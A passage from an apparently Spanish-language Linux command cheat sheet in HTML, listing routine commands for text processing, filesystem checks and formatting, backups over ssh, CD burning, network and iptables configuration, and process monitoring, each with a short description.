<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">cat
file1 | command( sed, grep, awk, grep, etc…) > result.txt: sintaxis
general para manipular un texto de un fichero y escribir el resultado en
un fichero nuevo.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">cat
file1 | command( sed, grep, awk, grep, etc…) » result.txt: sintaxis
general para manipular un texto de un fichero y añadir resultado en un
fichero existente.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">grep Aug /var/log/messages: buscar palabras “Aug” en el fichero ‘/var/log/messages’.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">grep ^Aug /var/log/messages: buscar palabras que comienzan con “Aug” en fichero ‘/var/log/messages’</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">grep [0-9] /var/log/messages: seleccionar todas las líneas del fichero ‘/var/log/messages’ que contienen números.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">grep Aug -R /var/log/*: buscar la cadena “Aug” en el directorio ‘/var/log’ y debajo.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">sed ‘s/stringa1/stringa2/g’ example.txt: reubicar “string1” con “string2” en ejemplo.txt</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">sed ‘/^$/d’ example.txt: eliminar todas las líneas en blanco desde el ejemplo.txt</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">sed ‘/ *#/d; /^$/d’ example.txt: eliminar comentarios y líneas en blanco de ejemplo.txt</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">echo ‘esempio’ | tr ‘[:lower:]‘ ‘[:upper:]‘: convertir minúsculas en mayúsculas.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">sed -e ’1d’ result.txt: elimina la primera línea del fichero ejemplo.txt</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">sed -n ‘/stringa1/p’: visualizar solamente las líneas que contienen la palabra “string1”.</span></li>
</ul>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="color: red;"><b><span style="font-family: Times,Times New Roman,serif;">Establecer caracter y conversión de ficheros</span></b></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">dos2unix filedos.txt fileunix.txt: convertir un formato de fichero texto desde MSDOS a UNIX.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">unix2dos fileunix.txt filedos.txt: convertir un formato de fichero de texto desde UNIX a MSDOS.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">recode ..HTML < page.txt > page.html: convertir un fichero de texto en html.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">recode -l | more: mostrar todas las conversiones de formato disponibles.</span></li>
</ul>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="color: red;"><b><span style="font-family: Times,Times New Roman,serif;">Análisis del sistema de ficheros</span></b></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">badblocks -v /dev/hda1: Chequear los bloques defectuosos en el disco hda1.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">fsck /dev/hda1: reparar / chequear la integridad del fichero del sistema Linux en el disco hda1.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">fsck.ext2 /dev/hda1: reparar / chequear la integridad del fichero del sistema ext 2 en el disco hda1.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">e2fsck /dev/hda1: reparar / chequear la integridad del fichero del sistema ext 2 en el disco hda1.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">e2fsck -j /dev/hda1: reparar / chequear la integridad del fichero del sistema ext 3 en el disco hda1.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">fsck.ext3 /dev/hda1: reparar / chequear la integridad del fichero del sistema ext 3 en el disco hda1.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">fsck.vfat /dev/hda1: reparar / chequear la integridad del fichero sistema fat en el disco hda1.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">fsck.msdos /dev/hda1: reparar / chequear la integridad de un fichero del sistema dos en el disco hda1.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">dosfsck /dev/hda1: reparar / chequear la integridad de un fichero del sistema dos en el disco hda1.</span></li>
</ul>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="color: red;"><b><span style="font-family: Times,Times New Roman,serif;">Formatear un sistema de ficheros</span></b></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">mkfs /dev/hda1: crear un fichero de sistema tipo Linux en la partición hda1.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">mke2fs /dev/hda1: crear un fichero de sistema tipo Linux ext 2 en hda1.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">mke2fs -j /dev/hda1: crear un fichero de sistema tipo Linux ext3 (periódico) en la partición hda1.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">mkfs -t vfat 32 -F /dev/hda1: crear un fichero de sistema FAT32 en hda1.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">fdformat -n /dev/fd0: formatear un disco flooply.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">mkswap /dev/hda3: crear un fichero de sistema swap.</span></li>
</ul>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="color: red;"><b><span style="font-family: Times,Times New Roman,serif;">Trabajo con la SWAP</span></b></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">mkswap /dev/hda3: crear fichero de sistema swap.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">swapon /dev/hda3: activando una nueva partición swap.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">swapon /dev/hda2 /dev/hdb3: activar dos particiones swap.</span></li>
</ul>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="color: red;"><b><span style="font-family: Times,Times New Roman,serif;">Respaldos (Backup)</span></b></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">dump -0aj -f /tmp/home0.bak /home: hacer una salva completa del directorio ‘/home’.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">dump -1aj -f /tmp/home0.bak /home: hacer una salva incremental del directorio ‘/home’.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">restore -if /tmp/home0.bak: restaurando una salva interactivamente.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">rsync -rogpav –delete /home /tmp: sincronización entre directorios.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">rsync -rogpav -e ssh –delete /home ip_address:/tmp: rsync a través del túnel SSH.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">rsync
-az -e ssh –delete ip_addr:/home/public /home/local: sincronizar un
directorio local con un directorio remoto a través de ssh y de
compresión.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">rsync
-az -e ssh –delete /home/local ip_addr:/home/public: sincronizar un
directorio remoto con un directorio local a través de ssh y de
compresión.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">dd
bs=1M if=/dev/hda | gzip | ssh user@ip_addr ‘dd of=hda.gz’: hacer una
salva de un disco duro en un host remoto a través de ssh.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">dd
if=/dev/sda of=/tmp/file1: salvar el contenido de un disco duro a un
fichero. (En este caso el disco duro es “sda” y el fichero “file1”).</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">tar -Puf backup.tar /home/user: hacer una salva incremental del directorio ‘/home/user’.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">(
cd /tmp/local/ && tar c . ) | ssh -C user@ip_addr ‘cd
/home/share/ && tar x -p’: copiar el contenido de un directorio
en un directorio remoto a través de ssh.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">(
tar c /home ) | ssh -C user@ip_addr ‘cd /home/backup-home &&
tar x -p’: copiar un directorio local en un directorio remoto a través
de ssh.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">tar cf – . | (cd /tmp/backup ; tar xf – ): copia local conservando las licencias y enlaces desde un directorio a otro.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">find
/home/user1 -name ‘*.txt’ | xargs cp -av
–target-directory=/home/<wbr></wbr>backup/ –parents: encontrar y copiar todos los
ficheros con extensión ‘.txt’ de un directorio a otro.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">find
/var/log -name ‘*.log’ | tar cv –files-from=- | bzip2 > log.tar.bz2:
encontrar todos los ficheros con extensión ‘.log’ y hacer un archivo
bzip.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">dd if=/dev/hda of=/dev/fd0 bs=512 count=1: hacer una copia del MRB (Master Boot Record) a un disco floppy.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">dd if=/dev/fd0 of=/dev/hda bs=512 count=1: restaurar la copia del MBR (Master Boot Record) salvada en un floppy.</span></li>
</ul>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="color: red;"><b><span style="font-family: Times,Times New Roman,serif;">CD-ROM</span></b></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">cdrecord -v gracetime=2 dev=/dev/cdrom -eject blank=fast -force: limpiar o borrar un cd regrabable.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">mkisofs /dev/cdrom > cd.iso: crear una imagen iso de cdrom en disco.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">mkisofs /dev/cdrom | gzip > cd_iso.gz: crear una imagen comprimida iso de cdrom en disco.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">mkisofs -J -allow-leading-dots -R -V “Label CD” -iso-level 4 -o ./cd.iso data_cd: crear una imagen iso de un directorio.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">cdrecord -v dev=/dev/cdrom cd.iso: quemar una imagen iso.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">gzip -dc cd_iso.gz | cdrecord dev=/dev/cdrom -: quemar una imagen iso comprimida.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">mount -o loop cd.iso /mnt/iso: montar una imagen iso.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">cd-paranoia -B: llevar canciones de un cd a ficheros wav.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">cd-paranoia – ”-3”: llevar las 3 primeras canciones de un cd a ficheros wav.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">cdrecord –scanbus: escanear bus para identificar el canal scsi.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">dd if=/dev/hdc | md5sum: hacer funcionar un md5sum en un dispositivo, como un CD.</span></li>
</ul>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="color: red;"><b><span style="font-family: Times,Times New Roman,serif;">Trabajo con la RED ( LAN y Wi-Fi)</span></b></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">ifconfig eth0: mostrar la configuración de una tarjeta de red Ethernet.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">ifup eth0: activar una interface ‘eth0′.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">ifdown eth0: deshabilitar una interface ‘eth0′.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">ifconfig eth0 192.168.1.1 netmask <a href="http://255.255.255.0/" target="_blank">255.255.255.0</a>: configurar una dirección IP.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">ifconfig eth0 promisc: configurar ‘eth0′en modo común para obtener los paquetes (sniffing).</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">dhclient eth0: activar la interface ‘eth0′ en modo dhcp.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">route -n: mostrar mesa de recorrido.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">route add -net 0/0 gw IP_Gateway: configurar entrada predeterminada.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">route add -net 192.168.0.0 netmask 255.255.0.0 gw <a href="http://192.168.1.1/" target="_blank">192.168.1.1</a>: configurar ruta estática para buscar la red ’<a href="http://192.168.0.0/16" target="_blank">192.168.0.0/16</a>′.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">route del 0/0 gw IP_gateway: eliminar la ruta estática.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">echo “1” > /proc/sys/net/ipv4/ip_forward: activar el recorrido ip.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">hostname: mostrar el nombre del host del sistema.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">host <a href="http://www.example.com/" target="_blank">www.example.com</a>: buscar el nombre del host para resolver el nombre a una dirección ip(1).</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">nslookup <a href="http://www.example.com/" target="_blank">www.example.com</a>: buscar el nombre del host para resolver el nombre a una direccióm ip y viceversa(2).</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">ip link show: mostar el estado de enlace de todas las interfaces.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">mii-tool eth0: mostar el estado de enlace de ‘eth0′.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">ethtool eth0: mostrar las estadísticas de tarjeta de red ‘eth0′.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">netstat -tup: mostrar todas las conexiones de red activas y sus PID.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">netstat -tupl: mostrar todos los servicios de escucha de red en el sistema y sus PID.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">tcpdump tcp port 80: mostrar todo el tráfico HTTP.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">iwlist scan: mostrar las redes inalámbricas.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">iwconfig eth1: mostrar la configuración de una tarjeta de red inalámbrica.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">whois <a href="http://www.example.com/" target="_blank">www.example.com</a>: buscar en base de datos Whois.</span></li>
</ul>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="color: red;"><b><span style="font-family: Times,Times New Roman,serif;">Redes de Microsoft Windows (SAMBA)</span></b></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">nbtscan ip_addr: resolución de nombre de red bios.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">nmblookup -A ip_addr: resolución de nombre de red bios.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">smbclient -L ip_addr/hostname: mostrar acciones remotas de un host en windows.</span></li>
</ul>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="color: red;"><b><span style="font-family: Times,Times New Roman,serif;">Tablas IP (CORTAFUEGOS)</span></b></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">iptables -t filter -L: mostrar todas las cadenas de la tabla de filtro.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">iptables -t nat -L: mostrar todas las cadenas de la tabla nat.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">iptables -t filter -F: limpiar todas las reglas de la tabla de filtro.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">iptables -t nat -F: limpiar todas las reglas de la tabla nat.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">iptables -t filter -X: borrar cualquier cadena creada por el usuario.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">iptables -t filter -A INPUT -p tcp –dport telnet -j ACCEPT: permitir las conexiones telnet para entar.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">iptables -t filter -A OUTPUT -p tcp –dport http -j DROP: bloquear las conexiones HTTPpara salir.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">iptables -t filter -A FORWARD -p tcp –dport pop3 -j ACCEPT: permitir las conexionesPOP a una cadena delantera.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">iptables -t filter -A INPUT -j LOG –log-prefix “DROP INPUT”: registrando una cadena de entrada.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">iptables
-t nat -A POSTROUTING -o eth0 -j MASQUERADE: configurar un PAT (Puerto
de traducción de dirección) en eth0, ocultando los paquetes de salida
forzada.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">iptables
-t nat -A PREROUTING -d 192.168.0.1 -p tcp -m tcp –dport 22 -j DNAT
–to-destination <a href="http://10.0.0.2:22/" target="_blank">10.0.0.2:22</a>: redireccionar los paquetes diriguidos de un
host a otro.</span></li>
</ul>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="color: red;"><b><span style="font-family: Times,Times New Roman,serif;">Monitoreando y depurando</span></b></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">top: mostrar las tareas de linux usando la mayoría cpu.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">ps -eafw: muestra las tareas Linux.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">ps -e -o pid,args –forest: muestra las tareas Linux en un modo jerárquico.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">pstree: mostrar un árbol sistema de procesos.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">kill -9 ID_Processo: forzar el cierre de un proceso y terminarlo.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">kill -1 ID_Processo: forzar un proceso para recargar la configuración.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">lsof -p $$: mostrar una lista de ficheros abiertos por procesos.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">lsof /home/user1: muestra una lista de ficheros abiertos en un camino dado del sistema.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">strace -c ls >/dev/null: mostrar las llamadas del sistema hechas y recibidas por un proceso.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">strace -f -e open ls >/dev/null: mostrar las llamadas a la biblioteca.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">watch -n1 ‘cat /proc/interrupts’: mostrar interrupciones en tiempo real.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">last reboot: mostrar historial de reinicio.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">lsmod: mostrar el kernel cargado.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">free -m: muestra el estado de la RAM en megabytes.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">smartctl -A /dev/hda: monitorear la fiabilidad de un disco duro a través de SMART.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">smartctl -i /dev/hda: chequear si SMART está activado en un disco duro.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">tail /var/log/dmesg: mostrar eventos inherentes al proceso de carga del kernel.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">tail /var/log/messages: mostrar los eventos del sistema.</span></li>
</ul>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="color: red;"><b><span style="font-family: Times,Times New Roman,serif;">Otros comandos útiles</span></b></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">apropos
…keyword: mostrar una lista de comandos que pertenecen a las palabras
claves de un programa; son útiles cuando tú sabes qué hace tu programa,
pero de sconoces el nombre del comando.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">man
ping: mostrar las páginas del manual on-line; por ejemplo, en un
comando ping, usar la opción ‘-k’ para encontrar cualquier comando
relacionado.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">whatis …keyword: muestra la descripción de lo que hace el programa.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">mkbootdisk –device /dev/fd0 <code>uname -r</code>: crear un floppy boteable.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">gpg -c file1: codificar un fichero con guardia de seguridad GNU.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">gpg file1.gpg: decodificar un fichero con Guardia de seguridad GNU.</span></li>
